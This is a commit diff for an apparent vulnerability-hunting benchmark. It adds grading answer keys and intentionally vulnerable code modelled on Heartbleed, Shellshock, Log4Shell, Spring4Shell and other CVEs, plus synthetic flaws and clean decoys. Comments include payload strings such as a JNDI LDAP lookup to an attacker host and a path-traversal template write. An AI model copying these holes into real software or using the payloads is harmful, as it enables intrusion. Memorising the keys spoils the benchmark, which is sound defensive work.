T3MP3ST public launch build

This commit is contained in:
t3mp3st contributors committed 2026-07-03 10:57:20 -04:00
1 parent 972247b881
commit 184c7d4e59
1589 files changed
+57150 -506

No files matched your search

@@ -0,0 +1,27 @@
cve: CVE-2014-0160
alias: Heartbleed
cwe_primary: CWE-125
cwe_acceptable: [CWE-125, CWE-119, CWE-126, CWE-200, CWE-787]
target_file: source.c
vuln_lines: [37, 38, 45, 46]
severity: high
vuln_class: out_of_bounds_read
exploit_pattern_regex: 'payload\s*[><]|memcpy.*pl.*payload|attacker.*controlled.*length'
must_mention_any:
- bounds check
- payload length
- attacker controlled
- memcpy
- out-of-bounds read
- information disclosure
points: 30
notes: |
Vulnerability: `payload` is read from the network (n2s on line 37) into a 16-bit
unsigned int. The implementation trusts that `payload` reflects the actual data
length in the heartbeat record and uses it on line 46 (memcpy) and as
allocation size (line 41). No comparison against `s->s3_rrec_length` is performed
before the memcpy, leaking up to 64 KiB of process memory.
Hunter MUST identify:
1. Missing bounds check between declared payload length and actual record length
2. memcpy from `pl` (network pointer) for `payload` bytes
3. The result is an out-of-bounds read disclosing memory.
@@ -0,0 +1,56 @@
/*
* tls1_process_heartbeat() — extracted from openssl 1.0.1f, pre-CVE-2014-0160 patch.
* Simplified for benchmark: structure & vulnerability faithful to original.
*/
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#define TLS1_HB_REQUEST 1
#define TLS1_HB_RESPONSE 2
typedef struct ssl_st {
unsigned char *s3_rrec_data;
unsigned int s3_rrec_length;
} SSL;
static unsigned char *OPENSSL_malloc(size_t n) { return (unsigned char *)malloc(n); }
static void OPENSSL_free(void *p) { free(p); }
static int ssl3_write_bytes(SSL *s, int type, const unsigned char *buf, int len) { (void)s; (void)type; (void)buf; (void)len; return 0; }
static void RAND_pseudo_bytes(unsigned char *buf, int n) { for (int i = 0; i < n; i++) buf[i] = (unsigned char)i; }
#define n2s(c, s) ((s = (((unsigned int)(c[0])) << 8) | ((unsigned int)(c[1]))), c += 2)
#define s2n(s, c) (*(c)++ = (unsigned char)(((s) >> 8) & 0xff), *(c)++ = (unsigned char)((s) & 0xff))
int tls1_process_heartbeat(SSL *s) {
unsigned char *p = s->s3_rrec_data, *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;
hbtype = *p++;
n2s(p, payload);
pl = p;
if (hbtype == TLS1_HB_REQUEST) {
unsigned char *buffer, *bp;
int r;
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
RAND_pseudo_bytes(bp, padding);
r = ssl3_write_bytes(s, 24, buffer, 3 + payload + padding);
OPENSSL_free(buffer);
return r;
}
return 0;
}
@@ -0,0 +1,23 @@
cve: CVE-2014-6271
alias: Shellshock
cwe_primary: CWE-78
cwe_acceptable: [CWE-77, CWE-74, CWE-94, CWE-78, CWE-15]
target_file: source.sh
vuln_lines: [16, 17, 18]
severity: critical
vuln_class: command_injection
exploit_pattern_regex: '\(\)\s*\{\s*:;\s*\}\s*;'
must_mention_any:
- eval
- environment
- function definition
- trailing
- command injection
points: 30
notes: |
Vulnerability: import_function_from_env() uses `eval` on attacker-controlled
environment variable contents. When the value contains a function definition
syntax followed by trailing commands, those trailing commands are executed.
Detect: line 16 (eval) is the sink; the unsanitized source is `${!1}` from
arbitrary environment vars. Hunter should identify both that eval is dangerous
AND that the input comes from untrusted environment.
@@ -0,0 +1,27 @@
#!/usr/bin/env bash
# variables.c-style logic reproduced in shell for benchmark.
# Pre-patch parse_and_execute() of inherited environment-borne function definitions.
# Bash <= 4.3 imported environment variables whose values started with "() {"
# as function definitions, and then continued parsing/executing whatever came
# after the function body. Untrusted environment entered via CGI -> bash.
import_function_from_env() {
local name="$1"
local value="${!1}"
# Heuristic: if the value looks like a function definition, import it.
if [[ "${value}" == "() {"* ]]; then
# parse_and_execute() — evaluate the entire string as shell, including
# anything appearing AFTER the matching closing brace of the function body.
eval "function ${name} ${value}"
# ^^ trailing commands in $value run with the privileges of bash.
fi
}
main() {
for var in $(compgen -e); do
import_function_from_env "$var"
done
}
main "$@"
@@ -0,0 +1,27 @@
cve: CVE-2017-5638
alias: Struts2 Jakarta Content-Type OGNL RCE (S2-045)
cwe_primary: CWE-917
cwe_acceptable: [CWE-917, CWE-94, CWE-20, CWE-74, CWE-95]
target_file: source.java
vuln_lines: [22, 23, 24, 25, 26, 27, 28]
severity: critical
vuln_class: expression_injection
exploit_pattern_regex: '%\{|#\{|\$\{|ognl'
must_mention_any:
- ognl
- content-type
- localizedtext
- expression injection
- attacker controlled
- format string
- evaluation
- findText
points: 30
notes: |
Vulnerability: req.getContentType() returns attacker-controlled header. It
flows into LocalizedTextUtil.findText() which expands ${...}/%{...}/#{...}
as OGNL on the default value template, executing arbitrary Java.
Hunter MUST identify:
1. Content-Type is attacker-controlled (HTTP header source).
2. LocalizedTextUtil performs expression evaluation on the message body.
3. Result is OGNL injection → arbitrary code execution.
@@ -0,0 +1,40 @@
// Apache Struts2 Jakarta multipart parser — pre-CVE-2017-5638 (S2-045).
// The error-message branch evaluates user-controlled Content-Type as an
// OGNL expression for "helpful" exception formatting. Attacker controls
// the Content-Type header → controls the OGNL string → RCE.
package org.apache.struts2.dispatcher.multipart;
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import org.apache.commons.fileupload.FileUploadException;
import javax.servlet.http.HttpServletRequest;
import java.util.Locale;
public final class JakartaMultiPartRequest {
public void parse(HttpServletRequest req, String saveDir) throws FileUploadException {
try {
parseUploadInternal(req, saveDir);
} catch (FileUploadException e) {
// BUG: attacker-controlled Content-Type flows into LocalizedTextUtil
// which evaluates ${...} / %{...} as OGNL — bypassing all
// type/security restrictions, running arbitrary Java.
String contentType = req.getContentType();
String errorMessage = LocalizedTextUtil.findText(
getClass(),
"struts.messages.upload.error.InvalidContentTypeException",
Locale.ENGLISH,
"Unable to parse Content-Type " + contentType,
new Object[] { contentType }
);
throw new FileUploadException(errorMessage, e);
}
}
private void parseUploadInternal(HttpServletRequest req, String saveDir) throws FileUploadException {
// ...real parsing happens here, but invalid Content-Types throw the
// FileUploadException caught above.
throw new FileUploadException("invalid boundary");
}
}
@@ -0,0 +1,28 @@
cve: CVE-2017-9805
alias: Struts2 REST plugin XStream RCE
cwe_primary: CWE-502
cwe_acceptable: [CWE-502, CWE-915, CWE-913, CWE-94]
target_file: source.java
vuln_lines: [18, 19, 25, 30]
severity: critical
vuln_class: insecure_deserialization
exploit_pattern_regex: '<\s*(java\.lang\.ProcessBuilder|dynamic-proxy|java\.beans\.EventHandler)'
must_mention_any:
- deserialization
- deserialisation
- xstream
- allowlist
- whitelist
- gadget
- untrusted xml
- fromXML
- type filter
points: 30
notes: |
Vulnerability: XStream is instantiated without security framework / typePermissions,
so fromXML() will instantiate any class referenced in the XML. Attacker XML can
invoke the ProcessBuilder gadget chain for arbitrary RCE.
Hunter MUST identify:
1. No allowlist (XStream defaults to permissive)
2. Untrusted input is deserialised (fromXML on attacker reader)
3. Result is RCE via gadget chains
@@ -0,0 +1,32 @@
// Struts2 REST plugin XStreamHandler.toObject() pre-CVE-2017-9805.
// XStream deserialises XML from HTTP requests with NO type whitelist.
package org.apache.struts2.rest.handler;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.InputStream;
import java.io.Reader;
public class XStreamHandler {
private final XStream xstream;
public XStreamHandler() {
// BUG: default XStream constructor permits *every* Java class to be
// instantiated from XML, including ProcessBuilder, dynamic proxies,
// and the entire XStream gadget chain.
this.xstream = new XStream(new DomDriver());
}
public Object toObject(Reader in, Class<?> clazz) {
// No allowlist/security framework configured.
// Attacker-controlled XML drives object graph instantiation.
return xstream.fromXML(in);
}
public Object toObject(InputStream in, Class<?> clazz) {
return xstream.fromXML(in);
}
}
@@ -0,0 +1,23 @@
cve: CVE-2018-1000156
alias: GNU patch ed-mode arbitrary command exec
cwe_primary: CWE-78
cwe_acceptable: [CWE-78, CWE-77, CWE-88, CWE-74]
target_file: source.c
vuln_lines: [29, 30]
severity: high
vuln_class: command_injection
exploit_pattern_regex: '`|\$\(|;|&&|\|\|'
must_mention_any:
- system()
- shell metacharacter
- command injection
- snprintf
- unsanitised
- unsanitized
- shell command
points: 25
notes: |
Vulnerability: target_path_from_patch_header returns an unvalidated string
copied from the patch header. apply_ed_patch then formats it directly into a
shell command with snprintf and passes to system(). Attacker controls the
patch file → controls `target` → injects backticks/$()/; → arbitrary command.
@@ -0,0 +1,35 @@
/*
* GNU patch ed-mode dispatch — pre-CVE-2018-1000156 simplification.
* The `patch` utility invokes /bin/ed when the patch file declares ed-mode.
* The path passed to ed is derived from the patch header's "Index:" / "+++"
* line without sanitisation; attacker controls it via the patchfile.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char *target_path_from_patch_header(const char *patch_line) {
/* Strips "+++ " prefix and returns a malloc'd copy. No validation. */
const char *space = strchr(patch_line, ' ');
if (!space) return NULL;
return strdup(space + 1);
}
int apply_ed_patch(const char *patch_header_line, const char *patch_body_path) {
char *target = target_path_from_patch_header(patch_header_line);
if (!target) return -1;
/*
* BUG: target is attacker-controlled and contains arbitrary characters,
* including shell metacharacters like backticks and $(). This string is
* concatenated directly into a shell command that runs /bin/ed.
*/
char cmd[4096];
snprintf(cmd, sizeof(cmd), "ed -s %s < %s", target, patch_body_path);
int rc = system(cmd);
free(target);
return rc;
}
@@ -0,0 +1,27 @@
cve: CVE-2019-11043
alias: PHP-FPM env_path_info underflow
cwe_primary: CWE-787
cwe_acceptable: [CWE-787, CWE-191, CWE-119, CWE-124, CWE-125]
target_file: source.c
vuln_lines: [21, 28, 29, 33]
severity: critical
vuln_class: out_of_bounds_write
exploit_pattern_regex: '%0a|negative.*offset|underflow|path_info'
must_mention_any:
- negative
- bounds check
- underflow
- path_info
- script_name
- out-of-bounds write
- pointer arithmetic
points: 30
notes: |
Vulnerability: path_info_offset is computed as pointer difference and may
go negative when attacker engineers path_info < script_name (via specific
URL encodings). The subsequent `script_name[path_info_offset] = '\\0'`
writes outside the buffer with attacker-influenced index.
Hunter MUST identify:
1. The pointer arithmetic that produces path_info_offset.
2. The missing bounds check / sign check.
3. The out-of-bounds write at the indexed location.
@@ -0,0 +1,37 @@
/*
* PHP-FPM env_path_info handling — pre-CVE-2019-11043.
* Reconstruction of fpm_main.c logic that mishandles the path_info pointer
* when a crafted URL like /index.php/%0a... causes path_info to point
* BEFORE script_name's start, yielding an out-of-bounds write of a NUL byte.
*/
#include <stddef.h>
#include <string.h>
#include <stdlib.h>
typedef struct {
char *script_name; /* attacker-controlled (request URI) */
char *path_info; /* derived from script_name */
} fcgi_request_t;
static int fpm_handle_request(fcgi_request_t *req) {
char *path_info = req->path_info;
int path_info_offset;
/* Compute offset of path_info into script_name. Normally non-negative. */
path_info_offset = path_info - req->script_name;
/* BUG: when crafted request makes path_info point BEFORE script_name's
buffer (e.g. due to %0a sequences earlier), path_info_offset becomes
NEGATIVE. No bounds check below. */
if (path_info != NULL) {
/* Original code wrote NUL here:
script_name[path_info_offset] = '\0';
which becomes an out-of-bounds write with attacker control of the
negative index, corrupting memory and enabling RCE via overwriting
fcgi env table pointers. */
req->script_name[path_info_offset] = '\0';
}
return 0;
}
@@ -0,0 +1,29 @@
cve: CVE-2019-19781
alias: Citrix NetScaler ADC newbm.pl path traversal + template RCE (Shitrix)
cwe_primary: CWE-22
cwe_acceptable: [CWE-22, CWE-23, CWE-36, CWE-73, CWE-74, CWE-94]
target_file: source.pl
vuln_lines: [21, 22, 24, 26, 27]
severity: critical
vuln_class: path_traversal
exploit_pattern_regex: '(\.\./|%2e%2e|\.\.%2f)'
must_mention_any:
- traversal
- path traversal
- normalisation
- normalization
- ../
- unsanitised
- unsanitized
- arbitrary write
- directory
points: 30
notes: |
Vulnerability: $url is interpolated directly into a filesystem path with no
normalisation, allowing ../ to escape /var/vpn/bookmark/ and write arbitrary
files. Combined with the templating engine, the attacker plants a template
containing `qx{}` and triggers RCE.
Hunter MUST identify:
1. $url is attacker-controlled (CGI param).
2. Direct concatenation into filesystem path with no path normalisation.
3. Arbitrary file write → leads to RCE via subsequent template execution.
@@ -0,0 +1,28 @@
#!/usr/bin/perl
# Citrix NetScaler ADC `/vpn/portal/scripts/newbm.pl` — pre-CVE-2019-19781.
# Authenticated bookmark creation endpoint that writes a user-supplied XML
# template to a directory derived from the URL. Path traversal in the
# `url` parameter lets an unauth attacker write to /netscaler/portal/templates/
# then trigger execution via /vpns/cfg/smb.conf with the template name.
use strict;
use warnings;
use CGI qw(:standard);
my $q = CGI->new();
my $url = $q->param('url'); # attacker-controlled
my $title = $q->param('title'); # attacker-controlled XML body
# BUG: $url is concatenated into the destination path without normalisation.
# Attacker submits url=../../netscaler/portal/templates/EVIL.xml plus a
# crafted XML body that includes a perl `print qx{...}` template tag.
# When subsequently rendered, the qx{} executes arbitrary shell.
my $base = '/var/vpn/bookmark/';
my $path = $base . $url . '.xml';
open(my $fh, '>', $path) or die "cannot open $path: $!";
print $fh "<bookmark><title>$title</title></bookmark>";
close($fh);
print "Content-Type: text/plain\n\n";
print "ok\n";
@@ -0,0 +1,27 @@
cve: CVE-2020-1472
alias: Zerologon — Netlogon AES-CFB8 all-zero IV
cwe_primary: CWE-330
cwe_acceptable: [CWE-330, CWE-326, CWE-1204, CWE-327, CWE-310, CWE-339]
target_file: source.c
vuln_lines: [37, 38, 39, 40, 41, 42, 43]
severity: critical
vuln_class: weak_cryptography
exploit_pattern_regex: '(memset.*iv.*0|iv\s*=\s*\{?\s*0|all[-\s]?zero|brute[-\s]?force)'
must_mention_any:
- all-zero
- fixed iv
- cfb8
- brute force
- authentication bypass
- 1/256
- weak cryptography
- predictable
points: 30
notes: |
Vulnerability: compute_netlogon_credential uses an ALL-ZERO IV with AES-CFB8.
Combined with attacker control of client_challenge and the 1/256 probability
of a zero-collapsing session key, this allows authentication bypass.
Hunter MUST identify:
1. The IV is hard-coded zero (memset to 0).
2. CFB8 with controlled plaintext and predictable IV is exploitable.
3. Bypass results in arbitrary Netlogon authentication.
@@ -0,0 +1,42 @@
/*
* Netlogon ComputeNetlogonCredential (AES-CFB8 mode) — pre-CVE-2020-1472.
* The legacy Netlogon authentication primitive uses AES-CFB8 with an
* ALL-ZERO initialization vector. An attacker who controls the client
* challenge can brute-force a match for the server credential in seconds
* because 1 in 256 random session keys yield an all-zero output for an
* all-zero IV-input.
*/
#include <stddef.h>
#include <stdint.h>
#include <string.h>
static void aes_cfb8_encrypt(const uint8_t *in, uint8_t *out, size_t len,
const uint8_t key[16], const uint8_t iv[16]) {
/* CFB8: encrypt 16-byte IV with AES, XOR top byte with plaintext byte,
shift IV left by 1 byte, push ciphertext byte into IV's tail. */
uint8_t state[16];
memcpy(state, iv, 16);
for (size_t i = 0; i < len; ++i) {
uint8_t block[16];
/* aes128_encrypt(state, key, block); */
block[0] = state[0] ^ key[0]; /* placeholder for benchmark */
out[i] = in[i] ^ block[0];
memmove(state, state + 1, 15);
state[15] = out[i];
}
}
/* Caller passes iv = {0}, the broken bit. */
void compute_netlogon_credential(const uint8_t client_challenge[8],
const uint8_t session_key[16],
uint8_t out_credential[8]) {
/* BUG: IV is ALL-ZERO, fixed by spec. Combined with attacker control
of client_challenge and 1/256 brute-force probability, the attacker
can forge a credential matching ANY server, including the domain
controller. Result: authentication bypass against Active Directory. */
uint8_t iv[16];
memset(iv, 0, sizeof(iv));
aes_cfb8_encrypt(client_challenge, out_credential, 8, session_key, iv);
}
@@ -0,0 +1,28 @@
cve: CVE-2021-44228
alias: Log4Shell
cwe_primary: CWE-917
cwe_acceptable: [CWE-917, CWE-94, CWE-20, CWE-502, CWE-74]
target_file: source.java
vuln_lines: [34, 35, 36]
severity: critical
vuln_class: expression_injection
exploit_pattern_regex: '\$\{jndi:(ldap|rmi|dns)://'
must_mention_any:
- jndi
- lookup
- substitut
- ${
- attacker controlled
- remote class
- expression injection
- code execution
points: 30
notes: |
Vulnerability: format() invokes substitutor.replace(event, formatted) on the
message body itself when it contains `${`. The substitutor resolves nested
lookups including `${jndi:...}` which fetches and deserialises a remote class.
Any logged user-controlled string becomes an RCE primitive.
Hunter MUST identify:
1. Recursive substitution of message body contents
2. JNDI lookup is reachable through the substitutor
3. Lack of lookups-disabled guard (`noLookups` is dead-code)
@@ -0,0 +1,40 @@
// MessagePatternConverter.format() - excerpt from log4j-core 2.14.x pre-CVE-2021-44228.
// Faithful structure with the recursive lookup substitution that resolves
// ${jndi:...} expressions inside log message payloads at format time.
package org.apache.logging.log4j.core.pattern;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.lookup.StrSubstitutor;
import org.apache.logging.log4j.message.Message;
public final class MessagePatternConverter {
private final StrSubstitutor substitutor;
private final boolean noLookups;
public MessagePatternConverter(final Configuration config) {
this.substitutor = config.getStrSubstitutor();
this.noLookups = false; // default — lookups enabled
}
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg == null) {
return;
}
final String formatted = msg.getFormattedMessage();
// BUG: substitute references inside the message itself.
// Attacker who controls *any* logged value (e.g. User-Agent, username,
// search query) can inject "${jndi:ldap://attacker/exploit}" which
// the substitutor will resolve, fetching and deserialising a remote
// class via JNDI/LDAP and triggering arbitrary code execution.
if (formatted.contains("${")) {
toAppendTo.append(substitutor.replace(event, formatted));
} else {
toAppendTo.append(formatted);
}
}
}
@@ -0,0 +1,30 @@
cve: CVE-2022-22965
alias: Spring4Shell — DataBinder classLoader traversal
cwe_primary: CWE-915
cwe_acceptable: [CWE-915, CWE-94, CWE-470, CWE-913, CWE-20, CWE-913, CWE-1336]
target_file: source.java
vuln_lines: [27, 28, 29, 30, 35, 36, 37, 38, 39, 40, 41]
severity: critical
vuln_class: improper_property_binding
exploit_pattern_regex: 'class\.module\.classLoader|classLoader\.resources|AccessLogValve|\.classLoader\.'
must_mention_any:
- classloader
- class loader
- introspect
- nested property
- getClass
- allowlist
- filter
- tomcat
- accesslogvalve
- jsp
points: 30
notes: |
Vulnerability: setNestedProperty traverses ANY dotted path through bean
introspection without filtering forbidden navigations like "class.module.
classLoader" — letting attacker reach Tomcat AccessLogValve and write
a JSP webshell to the server filesystem.
Hunter MUST identify:
1. Untrusted parameter name flows into bean traversal.
2. No allowlist/denylist on traversal targets (class/classLoader/module).
3. The result is arbitrary property write → RCE primitive.
@@ -0,0 +1,62 @@
// Spring DataBinder + JDK9+ property navigation — pre-CVE-2022-22965 (Spring4Shell).
// PropertyAccessor follows arbitrary nested setter chains from HTTP form params.
// "class.module.classLoader.resources.context.parent.pipeline.first.pattern"
// reaches Tomcat AccessLogValve.pattern → attacker-controlled JSP path → RCE.
package org.springframework.beans;
import javax.servlet.http.HttpServletRequest;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;
import java.util.Map;
public final class DataBinderUnsafe {
public void bind(Object target, HttpServletRequest req) throws Exception {
Map<String, String[]> params = req.getParameterMap();
for (Map.Entry<String, String[]> e : params.entrySet()) {
String path = e.getKey(); /* attacker-controlled */
String value = e.getValue()[0]; /* attacker-controlled */
setNestedProperty(target, path, value);
}
}
/**
* BUG: traverses dotted paths through ANY introspectable getter chain
* without filtering "class"/"classLoader"/sensitive bean traversals.
* Under JDK9+ where Class.module is exposed, an attacker can navigate
* from any bean → getClass() → module → classLoader → ... → AccessLogValve
* → set pattern to an attacker-chosen log path that writes JSP.
*/
private void setNestedProperty(Object root, String dottedPath, String value) throws Exception {
String[] parts = dottedPath.split("\\.");
Object cur = root;
for (int i = 0; i < parts.length - 1; ++i) {
cur = invokeGetter(cur, parts[i]);
if (cur == null) return;
}
invokeSetter(cur, parts[parts.length - 1], value);
}
private Object invokeGetter(Object obj, String prop) throws Exception {
PropertyDescriptor[] descs = Introspector.getBeanInfo(obj.getClass()).getPropertyDescriptors();
for (PropertyDescriptor d : descs) {
if (d.getName().equals(prop)) {
Method m = d.getReadMethod();
if (m != null) return m.invoke(obj);
}
}
return null;
}
private void invokeSetter(Object obj, String prop, String value) throws Exception {
PropertyDescriptor[] descs = Introspector.getBeanInfo(obj.getClass()).getPropertyDescriptors();
for (PropertyDescriptor d : descs) {
if (d.getName().equals(prop)) {
Method m = d.getWriteMethod();
if (m != null) { m.invoke(obj, value); return; }
}
}
}
}
@@ -0,0 +1,15 @@
cve: NONE
alias: Clean bounded payload copy
cwe_primary: NONE
cwe_acceptable: []
target_file: source.c
vuln_lines: []
severity: none
vuln_class: clean
exploit_pattern_regex: ''
must_mention_any: []
points: 0
notes: |
This sample is intentionally NOT vulnerable. It exists to catch false positives.
All length fields are validated against the actual record length AND a max cap
before allocation/copy. A hunter reporting a vulnerability here loses points.
@@ -0,0 +1,45 @@
/*
* Clean reference implementation - no exploitable vulnerability.
* Looks superficially scary (memcpy, length fields, allocation from network input)
* but every read is bounds-checked against the actual record length.
*/
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#define MAX_PAYLOAD 4096
typedef struct {
const uint8_t *data;
size_t length;
} record_t;
int copy_bounded_payload(const record_t *rec, uint8_t **out, size_t *out_len) {
if (rec == NULL || rec->data == NULL || rec->length < 2) {
return -1;
}
/* Declared payload length is the first two bytes of the record. */
size_t declared = ((size_t)rec->data[0] << 8) | (size_t)rec->data[1];
/* Bounds checks: declared must fit within remaining record bytes AND a cap. */
if (declared > rec->length - 2) {
return -2;
}
if (declared > MAX_PAYLOAD) {
return -3;
}
uint8_t *buf = (uint8_t *)malloc(declared);
if (buf == NULL) {
return -4;
}
memcpy(buf, rec->data + 2, declared);
*out = buf;
*out_len = declared;
return 0;
}
@@ -0,0 +1,16 @@
cve: NONE
alias: Hardened XStream binder
cwe_primary: NONE
cwe_acceptable: []
target_file: source.java
vuln_lines: []
severity: none
vuln_class: clean
exploit_pattern_regex: ''
must_mention_any: []
points: 0
notes: |
Intentionally NOT vulnerable. XStream is configured with NoTypePermission.NONE
baseline plus an explicit class allowlist. fromXML on attacker XML cannot
instantiate ProcessBuilder or other RCE gadgets.
Reporting a vulnerability here = false positive.
@@ -0,0 +1,34 @@
// Clean Java reference - secure XStream usage with explicit allowlist.
// Looks superficially similar to CVE-2017-9805 but configures typePermissions.
package com.example.safe;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.security.NoTypePermission;
import com.thoughtworks.xstream.security.NullPermission;
import com.thoughtworks.xstream.security.PrimitiveTypePermission;
import java.io.Reader;
public final class SafeXmlBinder {
private final XStream xstream;
public SafeXmlBinder(Class<?> allowedRoot) {
this.xstream = new XStream(new DomDriver());
// Lock down deserialisation to a deny-by-default allowlist.
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { allowedRoot });
xstream.allowTypesByWildcard(new String[] {
"com.example.dto.**",
});
}
public Object fromXml(Reader in) {
return xstream.fromXML(in);
}
}
@@ -0,0 +1,28 @@
cve: POSTCUT-001
alias: Webhook proxy SSRF via DNS rebinding (TOCTOU at name resolution)
cwe_primary: CWE-918
cwe_acceptable: [CWE-918, CWE-367, CWE-441, CWE-20]
target_file: source.go
vuln_lines: [38, 39, 47, 48, 49, 50]
severity: high
vuln_class: ssrf_dns_rebinding
exploit_pattern_regex: '(dns\s*rebind|second\s*lookup|toctou|time\s*of\s*check|attacker\s*controls)'
must_mention_any:
- dns rebinding
- two lookups
- resolve twice
- toctou
- time-of-check
- second resolution
- attacker controlled
- second dns
- http.Client
points: 30
memorization_resistant: true
notes: |
Synthetic / novel — not a published CVE. Tests reasoning, not memorization.
Vuln: validateTarget() resolves DNS once via net.LookupIP and rejects
internal IPs. Then http.DefaultClient.Do() does ITS OWN DNS lookup at
dial time. An attacker-controlled DNS server can return a public IP first
(passing validation) and an internal IP second (when the request fires).
Class is SSRF via DNS rebinding / TOCTOU at name resolution.
@@ -0,0 +1,55 @@
// Webhook delivery proxy — pre-fix v3.2.0
// Internal infra service; receives webhook URLs from tenants and forwards
// the body after an "allowlist" check.
package webhookproxy
import (
"io"
"net"
"net/http"
"net/url"
"strings"
)
var internalCIDRs = []string{"10.0.0.0/8", "192.168.0.0/16", "169.254.0.0/16", "127.0.0.0/8"}
func isInternalIP(addr string) bool {
ip := net.ParseIP(addr)
for _, c := range internalCIDRs {
_, n, _ := net.ParseCIDR(c)
if n.Contains(ip) { return true }
}
return false
}
// validateTarget resolves the hostname ONCE and checks against the deny list.
// Returns nil if safe.
func validateTarget(rawurl string) error {
u, err := url.Parse(rawurl)
if err != nil { return err }
if u.Scheme != "http" && u.Scheme != "https" {
return ErrBadScheme
}
host := u.Hostname()
ips, err := net.LookupIP(host)
if err != nil { return err }
for _, ip := range ips {
if isInternalIP(ip.String()) { return ErrInternalTarget }
}
return nil
}
func DeliverWebhook(tenant string, rawurl string, body []byte) (int, error) {
if err := validateTarget(rawurl); err != nil {
return 0, err
}
// Build request and send. Note: net/http will perform ITS OWN DNS lookup
// when dialing the URL — independent of validateTarget's earlier lookup.
req, _ := http.NewRequest("POST", rawurl, strings.NewReader(string(body)))
req.Header.Set("X-Webhook-Tenant", tenant)
resp, err := http.DefaultClient.Do(req)
if err != nil { return 0, err }
defer resp.Body.Close()
io.Copy(io.Discard, resp.Body)
return resp.StatusCode, nil
}
@@ -0,0 +1,28 @@
cve: POSTCUT-002
alias: Upload validator TOCTOU — image swap between validate and move
cwe_primary: CWE-367
cwe_acceptable: [CWE-367, CWE-362, CWE-22, CWE-434]
target_file: source.py
vuln_lines: [25, 26, 34, 35, 36, 37]
severity: high
vuln_class: toctou_race
exploit_pattern_regex: '(toctou|race\s*condition|time[- ]of[- ]check|swap|replace.*file|symlink|inotify)'
must_mention_any:
- toctou
- race condition
- time-of-check
- validate then move
- swap file
- symlink
- between validation
- between check
- attacker replaces
points: 30
memorization_resistant: true
notes: |
Synthetic — novel pattern. Validate then move pattern with no atomic
handle: attacker can replace the file at tmp_path between validate_image()
(passes — real image) and shutil.move() (now moves the attacker's payload
e.g. a PHP shell). Symlink swap or inotify-timed replacement works.
X-Sendfile note hints that arbitrary content gets served regardless of
extension — broader impact.
@@ -0,0 +1,39 @@
# File upload validator — internal CMS, pre-fix.
# Validates uploaded image, then moves it into a public web-root.
import os, shutil, hashlib
from PIL import Image
UPLOAD_TMP = "/var/uploads/tmp"
PUBLIC_DIR = "/var/www/static/uploads"
ALLOWED_MIME = {"image/png", "image/jpeg", "image/gif"}
def validate_image(tmp_path):
"""Open with PIL to verify it's a real image. Returns True if valid."""
try:
with Image.open(tmp_path) as im:
im.verify() # raises on malformed
with Image.open(tmp_path) as im:
return im.format.lower() in ("png", "jpeg", "gif")
except Exception:
return False
def upload_user_avatar(user_id, tmp_path):
"""Upload flow: client puts file at UPLOAD_TMP/<user_id>.upload, this
function validates and promotes to PUBLIC_DIR."""
# 1. validate the file at tmp_path
if not validate_image(tmp_path):
os.remove(tmp_path)
return {"ok": False, "error": "not_an_image"}
# 2. compute hash for de-dup
with open(tmp_path, "rb") as f:
digest = hashlib.sha256(f.read()).hexdigest()
# 3. move the file to public location
dest = os.path.join(PUBLIC_DIR, f"{user_id}-{digest[:16]}.bin")
shutil.move(tmp_path, dest)
# 4. server serves it via X-Sendfile so the extension doesn't matter
return {"ok": True, "path": dest}
@@ -0,0 +1,27 @@
cve: POSTCUT-003
alias: JWT timing oracle — early-exit string compare leaks signature bytes
cwe_primary: CWE-208
cwe_acceptable: [CWE-208, CWE-203, CWE-385, CWE-1254, CWE-310]
target_file: source.js
vuln_lines: [9, 10, 11, 12, 13, 14, 15]
severity: high
vuln_class: timing_attack
exploit_pattern_regex: '(timing\s*attack|side[- ]channel|early[- ]exit|byte[- ]by[- ]byte|timing\s*oracle|crypto\.timingSafeEqual)'
must_mention_any:
- timing attack
- timing oracle
- early exit
- early-out
- short-circuit
- byte-by-byte
- timingSafeEqual
- side channel
- timing side
- character.code
points: 30
memorization_resistant: true
notes: |
Synthetic — novel. The "timingSafeStr" function is NOT timing-safe: it
returns on the first mismatched byte. Attacker can recover the expected
HMAC one byte at a time by measuring response time over the network.
Fix: use crypto.timingSafeEqual on equal-length buffers.
@@ -0,0 +1,32 @@
// JWT verifier — pre-fix internal auth lib.
// Custom HMAC because we don't want to depend on jsonwebtoken.
const crypto = require('crypto');
const SECRET = process.env.JWT_SECRET; // 32 bytes hex
function timingSafeStr(a, b) {
// Early-out check to avoid wasting CPU on short attacker inputs.
if (a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a.charCodeAt(i) !== b.charCodeAt(i)) return false;
}
return true;
}
function verifyJwt(token) {
const [hdrB64, payB64, sigB64] = token.split('.');
if (!hdrB64 || !payB64 || !sigB64) return null;
const signingInput = `${hdrB64}.${payB64}`;
const expected = crypto.createHmac('sha256', SECRET)
.update(signingInput)
.digest('base64url');
if (!timingSafeStr(expected, sigB64)) {
return null;
}
return JSON.parse(Buffer.from(payB64, 'base64url').toString('utf8'));
}
module.exports = { verifyJwt };
@@ -0,0 +1,28 @@
cve: POSTCUT-004
alias: Protobuf decoder OOB read — declared length not validated against buffer
cwe_primary: CWE-125
cwe_acceptable: [CWE-125, CWE-130, CWE-787, CWE-119, CWE-789]
target_file: source.c
vuln_lines: [37, 38, 39, 40, 41, 42, 43]
severity: high
vuln_class: out_of_bounds_read
